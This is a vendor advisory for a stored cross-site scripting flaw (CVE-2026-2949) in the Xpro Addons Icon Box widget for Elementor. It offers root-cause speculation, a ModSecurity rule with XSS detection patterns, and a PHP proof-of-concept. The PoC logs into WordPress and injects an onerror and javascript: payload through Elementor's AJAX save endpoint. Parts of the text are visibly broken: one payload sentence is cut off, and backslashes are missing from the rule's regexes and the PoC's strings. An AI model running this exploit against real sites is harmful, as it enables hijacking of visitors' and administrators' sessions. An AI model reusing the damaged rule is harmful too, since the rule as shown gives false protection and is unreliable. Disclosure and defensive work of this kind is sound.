Atomic Edge analysis of CVE-2026-2949 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Xpro Addons for Elementor WordPress plugin. The Icon Box widget component fails to properly sanitize user input before storing and rendering it. Attackers with contributor-level permissions or higher can inject malicious scripts that execute for any user viewing a compromised page. The CVSS 6.4 score reflects medium severity with scope change impact.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The CWE-79 classification confirms improper neutralization during web page generation. Without access to source code diffs, this conclusion is inferred from the vulnerability description and CWE mapping. The plugin likely accepts user-controlled input through Icon Box widget fields, stores it without adequate sanitization, and renders it without proper escaping. WordPress Elementor widgets commonly process user input through widget settings arrays that may bypass standard WordPress sanitization functions.
Exploitation requires contributor-level WordPress access. Attackers would edit or create a post or page using Elementor, add the vulnerable Icon Box widget, and inject malicious JavaScript payloads into vulnerable widget fields. The exact parameter names are unknown without code analysis, but typical Elementor widget fields include ‘title’, ‘description’, ‘link’, or custom HTML fields. A realistic payload would be
or similar script tags. The attack executes when any user visits the compromised page, including administrators.
Remediation requires implementing proper input validation and output escaping. The patched version 1.4.25 likely adds wp_kses() or similar sanitization functions to widget field inputs. Output escaping functions like esc_html() or esc_attr() should be applied when rendering widget content. WordPress Elementor widget developers must use the widget’s sanitize_callback parameter for field definitions and apply esc_* functions in widget frontend rendering methods.
Successful exploitation allows attackers to perform actions as victims viewing injected pages. This includes session hijacking via cookie theft, administrative actions through CSRF, content defacement, or redirecting users to malicious sites. The scope change (S:C) in the CVSS vector indicates scripts execute in the context of the vulnerable WordPress site, potentially accessing sensitive data or performing actions within that security context.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2949 (metadata-based)
# Targets XSS via Xpro Addons Icon Box widget in Elementor AJAX requests
# Rule assumes attacker uses standard Elementor AJAX endpoint with widgetType parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262949,phase:2,deny,status:403,chain,msg:'CVE-2026-2949: Xpro Addons Icon Box Widget Stored XSS',severity:'CRITICAL',tag:'CVE-2026-2949',tag:'wordpress',tag:'xss',tag:'plugin:xpro-elementor-addons'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
SecRule REQUEST_BODY "@rx "widgetType"s*:s*"xpro-icon-box""
"chain,t:none,t:urlDecodeUni,t:htmlEntityDecode"
SecRule REQUEST_BODY "@rx <script[^>]*>|<img[^>]*onerror=|javascript:[^"']*|onloads*=|onerrors*="
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2949 - Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Icon Box Widget
<?php
/**
* Proof of Concept for CVE-2026-2949
* Assumptions based on vulnerability description:
* 1. Requires contributor-level WordPress credentials
* 2. Targets the Icon Box widget in Elementor editor
* 3. Injects via widget parameters that lack sanitization
* 4. Uses Elementor's AJAX save system via /wp-admin/admin-ajax.php
*
* Note: Without exact parameter names from source code, this PoC demonstrates
* the attack pattern but may require parameter adjustment for actual exploitation.
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// XSS payload - modify as needed
$payload = '<img src=x onerror="alert(`XSS via CVE-2026-2949`)">';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/wp_cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/wp_cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
// Check login success by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Get nonce for Elementor editor (simplified - real implementation requires parsing)
// This assumes we're editing an existing post ID 1
$post_id = 1;
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=elementor',
CURLOPT_POST => false
]);
$editor_page = curl_exec($ch);
// Extract nonce (simplified - actual implementation would parse HTML)
// Elementor typically uses '_nonce' parameter in AJAX requests
$nonce = 'elementor_edit_nonce'; // Placeholder - real PoC would extract this
// Simulate AJAX request to save widget with XSS payload
// Based on Elementor's save_builder action pattern
$ajax_data = [
'action' => 'elementor_ajax',
'_nonce' => $nonce,
'actions' => json_encode([
'action' => 'save_builder',
'data' => [
'post_id' => $post_id,
'elements' => [
[
'id' => uniqid(),
'elType' => 'widget',
'widgetType' => 'xpro-icon-box', // Inferred widget type
'settings' => [
// These parameter names are INFERRED based on typical Icon Box widgets
// Actual parameter names may differ
'title' => $payload,
'description' => $payload,
'link' => 'javascript:alert(1)',
'icon' => $payload
]
]
]
]
])
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $ajax_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Check if payload was accepted
if (strpos($ajax_response, 'success') !== false) {
echo 'Payload likely injected. Visit ' . $target_url . '/?p=' . $post_id . ' to trigger XSS.n';
} else {
echo 'Injection may have failed. AJAX response: ' . $ajax_response . 'n';
}
// Cleanup
@unlink('/tmp/wp_cookies.txt');
?>